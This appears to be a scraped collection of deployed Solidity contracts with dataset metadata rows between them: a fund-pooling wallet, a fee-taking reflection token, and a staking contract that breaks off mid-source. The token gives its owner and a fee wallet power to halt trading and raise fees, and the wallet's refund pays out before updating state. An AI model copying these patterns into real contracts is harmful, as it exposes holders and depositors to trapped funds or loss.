/// @param _admin Is main opperator address.
/// @param _backupAdmin Is an address which can change the admin address - recommend cold wallet.
function FundWallet(address _admin, address _backupAdmin) public {
require(_admin != address(0));
require(_backupAdmin != address(0));
admin = _admin;
backupAdmin = _backupAdmin;
}
/// @notice function to set the stake and incentive scheme for the admin;
/// @param _adminStake Is the amount that the admin will contribute to the fund.
function setFundScheme(uint _adminStake, uint _adminCarry) public onlyAdmin inAdminP timePeriodsAreSet {
require(_adminStake > 0);
adminStake = _adminStake;
adminCarry = _adminCarry; //bps
}
/// @notice function to set time periods.
function setTimePeriods(uint _adminP, uint _raiseP, uint _opperateP, uint _liquidP) public onlyAdmin timePeriodsNotSet {
start = now;
adminP = _adminP * (60 minutes);
raiseP = _raiseP * (60 minutes);
opperateP = _opperateP * (60 minutes);
liquidP = _liquidP * (60 minutes);
timePeriodsSet = true;
}
/// @dev set or change reserve address
/// @param _reserve the address of corresponding kyber reserve.
function setReserve (address _reserve) public onlyAdmin inAdminP timePeriodsAreSet {
reserve = _reserve;
}
/// @notice Fallback function - recieves ETH but doesn't alter contributor stakes or raised balance.
function() public payable {
}
/// @notice Function to change the admins address
/// @dev Only available to the back up admin.
/// @param _newAdmin address of the new admin.
function changeAdmin(address _newAdmin) public onlyBackupAdmin {
admin = _newAdmin;
}
/// @notice Function to add contributor address.
/// @dev Only available to admin and in the raising period.
/// @param _contributor Address of the new contributor.
function addContributor(address _contributor) public onlyAdmin inAdminP timePeriodsAreSet {
require(!isContributor[ _contributor]); //only new contributor
require(_contributor != admin);
isContributor[ _contributor] = true;
contributors.push(_contributor);
ContributorAdded(_contributor);
}
/// @notice Function to remove contributor address.
/// @param _contributor Address of the contributor to be removed.
function removeContributor(address _contributor) public onlyAdmin inAdminP timePeriodsAreSet {
require(isContributor[_contributor]);
isContributor[_contributor] = false;
for (uint i=0; i < contributors.length - 1; i++)
if (contributors[i] == _contributor) {
contributors[i] = contributors[contributors.length - 1];
break;
}
contributors.length -= 1;
ContributorRemoval(_contributor);
}
/// @notice Function to get contributor addresses.
function getContributors() public constant returns (address[]){
return contributors;
}
/// @notice Function for contributor to deposit funds.
function contributorDeposit() public timePeriodsAreSet onlyContributor adminHasStaked inRaiseP payable {
if (adminStake >= msg.value && msg.value > 0 && stake[msg.sender] < adminStake) {
raisedBalance += msg.value;
stake[msg.sender] += msg.value;
ContributorDeposit(msg.sender, msg.value);
}
else {
revert();
}
}
/// @notice Function for contributor to reclaim their deposit.
/// @dev Only available to contributor in the raising period. Removes contributor on refund.
function contributorRefund() public timePeriodsAreSet onlyContributor inRaiseP {
isContributor[msg.sender] = false;
for (uint i=0; i < contributors.length - 1; i++)
if (contributors[i] == msg.sender) {
contributors[i] = contributors[contributors.length - 1];
break;
}
contributors.length -= 1;
ContributorRemoval(msg.sender);
if (stake[msg.sender] > 0) {
msg.sender.transfer(stake[msg.sender]);
raisedBalance -= stake[msg.sender];
delete stake[msg.sender];
ContributorDepositReturn(msg.sender, stake[msg.sender]);
}
}
/// @notice Function for admin to deposit their stake.
/// @dev Only available to admin and in the raising period.
function adminDeposit() public timePeriodsAreSet onlyAdmin adminHasNotStaked inRaiseP payable {
if (msg.value == adminStake) {
raisedBalance += msg.value;
stake[msg.sender] += msg.value;
adminStaked = true;
AdminDeposit(msg.sender, msg.value);
}
else {
revert();
}
}
/// @notice Funtion for admin to reclaim their contribution/stake.
function adminRefund() public timePeriodsAreSet onlyAdmin adminHasStaked inRaiseP {
require(raisedBalance == adminStake);
admin.transfer(adminStake);
adminStaked = false;
raisedBalance -= adminStake;
AdminDepositReturned(msg.sender, adminStake);
}
/// @notice Funtion for admin to withdraw ERC20 token while fund is opperating.
/// @dev Only available to admin and in the opperating period
function withdrawToken(ERC20 token, uint amount, address sendTo) external timePeriodsAreSet onlyAdmin inOpperateP {
require(token.transfer(sendTo, amount));
TokenWithdraw(token, amount, sendTo);
}
/// @notice Funtion for admin to withdraw ether token while fund is opperating.
/// @dev Only available to admin and in the opperating period
function withdrawEther(uint amount, address sendTo) external timePeriodsAreSet onlyAdmin inOpperateP {
sendTo.transfer(amount);
EtherWithdraw(amount, sendTo);
}
/// @dev Only available in claim period and only available once.
function logEndBal() public inClaimP endBalanceNotLogged timePeriodsAreSet {
endBalance = address(this).balance;
endBalanceLogged = true;
}
/// @notice Funtion for admin to calim their payout.
function adminClaim() public onlyAdmin timePeriodsAreSet inClaimP endBalanceIsLogged hasNotClaimed {
if (endBalance > raisedBalance) {
admin.transfer(((endBalance - raisedBalance)*(adminCarry))/10000); //have variable for adminReward
admin.transfer(((((endBalance - raisedBalance)*(10000-adminCarry))/10000)*adminStake)/raisedBalance); // profit share
admin.transfer(adminStake); //initial stake
hasClaimed[msg.sender] = true;
}
else {
admin.transfer((endBalance*adminStake)/raisedBalance);
hasClaimed[msg.sender] = true;
}
}
/// @notice Funtion for contributor to claim their payout.
function contributorClaim() public timePeriodsAreSet onlyContributor inClaimP endBalanceIsLogged hasNotClaimed {
if (endBalance > raisedBalance) {
msg.sender.transfer(((((endBalance - raisedBalance)*(10000-adminCarry))/10000)*stake[msg.sender])/raisedBalance); // profit share
msg.sender.transfer(stake[msg.sender]); //initial stake
hasClaimed[msg.sender] = true;
}
else {
msg.sender.transfer((endBalance*stake[msg.sender])/raisedBalance);
hasClaimed[msg.sender] = true;
}
}
//functions to allow trading with reserve address
/// @dev send erc20token to the reserve address
/// @param token ERC20 The address of the token contract
function pullToken(ERC20 token, uint amount) external onlyReserve inOpAndLiqP returns (bool){
require(token.transfer(reserve, amount));
TokenPulled(token, amount, reserve);
return true;
}
///@dev Send ether to the reserve address
function pullEther(uint amount) external onlyReserve inOpperateP returns (bool){
reserve.transfer(amount);
EtherPulled(amount, reserve);
return true;
}
///@dev function to check balance only returns balances in opperating and liquidating periods
function checkBalance(ERC20 token) public view returns (uint) {
if (now < (start + adminP +raiseP + opperateP) && now > (start + adminP + raiseP)) {
if (token == ETH_TOKEN_ADDRESS) {
return this.balance;
}
else {
return token.balanceOf(this);
}
}
if (now < (start + adminP + raiseP + opperateP + liquidP) && now > (start + adminP + raiseP + opperateP)) {
if (token == ETH_TOKEN_ADDRESS) {
return 0;
}
else {
return token.balanceOf(this);
}
}
else return 0;
}
}
| 191,737 | 12,722 |
cf3b8385dd63047b5fe330c82e8e37842b2c6deec65e322c4a4495414403dc4c
| 15,846 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/0e/0e5ec7c5ba198d2136a5c024bb229407a88443a6_CrossChainCapitalV3.sol
| 4,092 | 14,620 |
// SPDX-License-Identifier: Unlicensed
pragma solidity >=0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if(a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IJoeFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IJoeRouter02 {
function swapExactTokensForAVAXSupportingFeeOnTransferTokens(uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline) external;
function factory() external pure returns (address);
function WAVAX() external pure returns (address);
function addLiquidityETH(address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CrossChainCapitalV3 is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1500000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = unicode"Cross Chain Capital V3";
string private constant _symbol = unicode"CCC";
uint8 private constant _decimals = 9;
uint256 private _taxFee = 10;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private w1;
address payable private w2;
IJoeRouter02 private joeV2Router;
address private joeV2Pair;
bool private tradingEnabled = false;
bool private canSwap = true;
bool private inSwap = false;
event MaxBuyAmountUpdated(uint _maxBuyAmount);
event CooldownEnabledUpdated(bool _cooldown);
event FeeMultiplierUpdated(uint _multiplier);
event FeeRateUpdated(uint _rate);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable treasuryWalletAddress , address payable CCCWalletAddress) {
w1 = treasuryWalletAddress;
w2 = CCCWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[w1] = true;
_isExcludedFromFee[w2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
IJoeRouter02 _uniswapV2Router = IJoeRouter02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
joeV2Router = _uniswapV2Router;
_approve(address(this), address(joeV2Router), _tTotal);
joeV2Pair = IJoeFactory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WAVAX());
IERC20(joeV2Pair).approve(address(joeV2Router), type(uint).max);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function setCanSwap(bool onoff) external onlyOwner() {
canSwap = onoff;
}
function setTradingEnabled(bool onoff) external onlyOwner() {
tradingEnabled = onoff;
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!tradingEnabled) {
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not live yet");
}
uint256 contractTokenBalance = balanceOf(address(this));
if(!inSwap && from != joeV2Pair && tradingEnabled && canSwap) {
if(contractTokenBalance > 0) {
if(contractTokenBalance > balanceOf(joeV2Pair).mul(5).div(100)) {
contractTokenBalance = balanceOf(joeV2Pair).mul(5).div(100);
}
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
if(from != joeV2Pair && to != joeV2Pair) {
takeFee = false;
}
if (takeFee && from == joeV2Pair) {
_previousteamFee = _teamFee;
_teamFee = 0;
}
if(takeFee && to == joeV2Pair) {
_previousTaxFee = _taxFee;
_taxFee = 0;
}
_tokenTransfer(from,to,amount,takeFee);
if (takeFee && from == joeV2Pair) _teamFee = _previousteamFee;
if (takeFee && to == joeV2Pair) _taxFee = _previousTaxFee;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = joeV2Router.WAVAX();
_approve(address(this), address(joeV2Router), tokenAmount);
joeV2Router.swapExactTokensForAVAXSupportingFeeOnTransferTokens(tokenAmount,
0,
path,
address(this),
block.timestamp);
}
function sendETHToFee(uint256 amount) private {
w1.transfer(amount.div(2));
w2.transfer(amount.div(2));
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
_transferStandard(sender, recipient, amount);
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function setTreasuryWallet(address payable _w1) external {
require(_msgSender() == w1);
w1 = _w1;
_isExcludedFromFee[w1] = true;
}
function setCCCWallet(address payable _w2) external {
require(_msgSender() == w2);
w2 = _w2;
_isExcludedFromFee[w2] = true;
}
function excludeFromFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external {
require(_msgSender() == w1);
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 team) external {
require(_msgSender() == w1);
require(team <= 25);
_teamFee = team;
}
function setTaxFee(uint256 tax) external {
require(_msgSender() == w1);
require(tax <= 25);
_taxFee = tax;
}
function manualswap() external {
require(_msgSender() == w1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == w1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
}
| 76,685 | 12,723 |
270b036e227b0e8eaa2a0fae93cbc515d217f94db47a4adf1e3e91d840381a32
| 28,851 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/89/89884b045ed93067b28c2554a9cb877a41a8fa73_OlympusStaking.sol
| 4,577 | 18,196 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
}
interface IERC20 {
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
interface IOwnable {
function manager() external view returns (address);
function renounceManagement() external;
function pushManagement(address newOwner_) external;
function pullManagement() external;
}
contract Ownable is IOwnable {
address internal _owner;
address internal _newOwner;
event OwnershipPushed(address indexed previousOwner, address indexed newOwner);
event OwnershipPulled(address indexed previousOwner, address indexed newOwner);
constructor () {
_owner = msg.sender;
emit OwnershipPushed(address(0), _owner);
}
function manager() public view override returns (address) {
return _owner;
}
modifier onlyManager() {
require(_owner == msg.sender, "Ownable: caller is not the owner");
_;
}
function renounceManagement() public virtual override onlyManager() {
emit OwnershipPushed(_owner, address(0));
_owner = address(0);
}
function pushManagement(address newOwner_) public virtual override onlyManager() {
require(newOwner_ != address(0), "Ownable: new owner is the zero address");
emit OwnershipPushed(_owner, newOwner_);
_newOwner = newOwner_;
}
function pullManagement() public virtual override {
require(msg.sender == _newOwner, "Ownable: must be new owner to pull");
emit OwnershipPulled(_owner, _newOwner);
_owner = _newOwner;
}
}
interface IsOHM {
function rebase(uint256 ohmProfit_, uint epoch_) external returns (uint256);
function circulatingSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function gonsForBalance(uint amount) external view returns (uint);
function balanceForGons(uint gons) external view returns (uint);
function index() external view returns (uint);
}
interface IWarmup {
function retrieve(address staker_, uint amount_) external;
}
interface IDistributor {
function distribute() external returns (bool);
}
contract OlympusStaking is Ownable {
modifier onlyStakingHelper() {
require(stakingHelperContract == msg.sender, "Ownable: caller is not the staking helper");
_;
}
using SafeMath for uint256;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable sOHM;
struct Epoch {
uint32 length;
uint number;
uint32 endTime;
uint distribute;
}
Epoch public epoch;
address public distributor;
uint32 standardRebaseTime;
address public locker;
uint public totalBonus;
address public warmupContract;
address public stakingHelperContract;
uint public warmupPeriod;
uint32 public randomRebaseDeviationThreshold; //in seconds, epoch end time cannot deviate from supposed epoch end time by more than that
event Stake(address indexed staker, uint256 amount, uint256 timestamp);
event Unstake(address indexed staker, uint256 amount, uint256 remainingStakedBalance, uint256 timestamp);
constructor (address _OHM,
address _sOHM,
uint32 _epochLength,
uint32 _firstEpochNumber,
uint32 _firstEpochTime,
uint32 _randomRebaseDeviationThreshold) {
require(_OHM != address(0));
OHM = _OHM;
require(_sOHM != address(0));
sOHM = _sOHM;
epoch = Epoch({
length: _epochLength,
number: _firstEpochNumber,
endTime: _firstEpochTime,
distribute: 0
});
standardRebaseTime = _firstEpochTime;
randomRebaseDeviationThreshold = _randomRebaseDeviationThreshold;
}
struct Claim {
uint deposit;
uint gons;
uint expiry;
bool lock; // prevents malicious delays
}
mapping(address => Claim) public warmupInfo;
function stake(uint _amount, address _recipient) external returns (bool) {
rebase();
IERC20(OHM).safeTransferFrom(msg.sender, address(this), _amount);
Claim memory info = warmupInfo[ _recipient ];
require(!info.lock, "Deposits for account are locked");
warmupInfo[ _recipient ] = Claim ({
deposit: info.deposit.add(_amount),
gons: info.gons.add(IsOHM(sOHM).gonsForBalance(_amount)),
expiry: epoch.number.add(warmupPeriod),
lock: false
});
IERC20(sOHM).safeTransfer(warmupContract, _amount);
emit Stake(_recipient, _amount, block.timestamp);
return true;
}
function claim (address _recipient) public {
Claim memory info = warmupInfo[ _recipient ];
if (epoch.number >= info.expiry && info.expiry != 0) {
delete warmupInfo[ _recipient ];
IWarmup(warmupContract).retrieve(_recipient, IsOHM(sOHM).balanceForGons(info.gons));
}
}
function forfeit() external {
Claim memory info = warmupInfo[ msg.sender ];
delete warmupInfo[ msg.sender ];
IWarmup(warmupContract).retrieve(address(this), IsOHM(sOHM).balanceForGons(info.gons));
IERC20(OHM).safeTransfer(msg.sender, info.deposit);
}
function toggleDepositLock() external {
warmupInfo[ msg.sender ].lock = !warmupInfo[ msg.sender ].lock;
}
function unstake(uint _amount, bool _trigger) external {
if (_trigger) {
rebase();
}
IERC20(sOHM).safeTransferFrom(msg.sender, address(this), _amount);
IERC20(OHM).safeTransfer(msg.sender, _amount);
uint256 remainingStakedBalance = IERC20(sOHM).balanceOf(msg.sender);
emit Unstake(msg.sender, _amount, remainingStakedBalance, block.timestamp);
}
function index() public view returns (uint) {
return IsOHM(sOHM).index();
}
function rebase() public {
if(epoch.endTime <= block.timestamp) {
IsOHM(sOHM).rebase(epoch.distribute, epoch.number);
standardRebaseTime = standardRebaseTime.add32(epoch.length);
epoch.endTime = standardRebaseTime;
epoch.number++;
if (distributor != address(0)) {
IDistributor(distributor).distribute();
}
uint balance = contractBalance();
uint staked = IsOHM(sOHM).circulatingSupply();
if(balance <= staked) {
epoch.distribute = 0;
} else {
epoch.distribute = balance.sub(staked);
}
}
}
function contractBalance() public view returns (uint) {
return IERC20(OHM).balanceOf(address(this)).add(totalBonus);
}
function giveLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.add(_amount);
IERC20(sOHM).safeTransfer(locker, _amount);
}
function returnLockBonus(uint _amount) external {
require(msg.sender == locker);
totalBonus = totalBonus.sub(_amount);
IERC20(sOHM).safeTransferFrom(locker, address(this), _amount);
}
enum CONTRACTS { DISTRIBUTOR, WARMUP, LOCKER, HELPER }
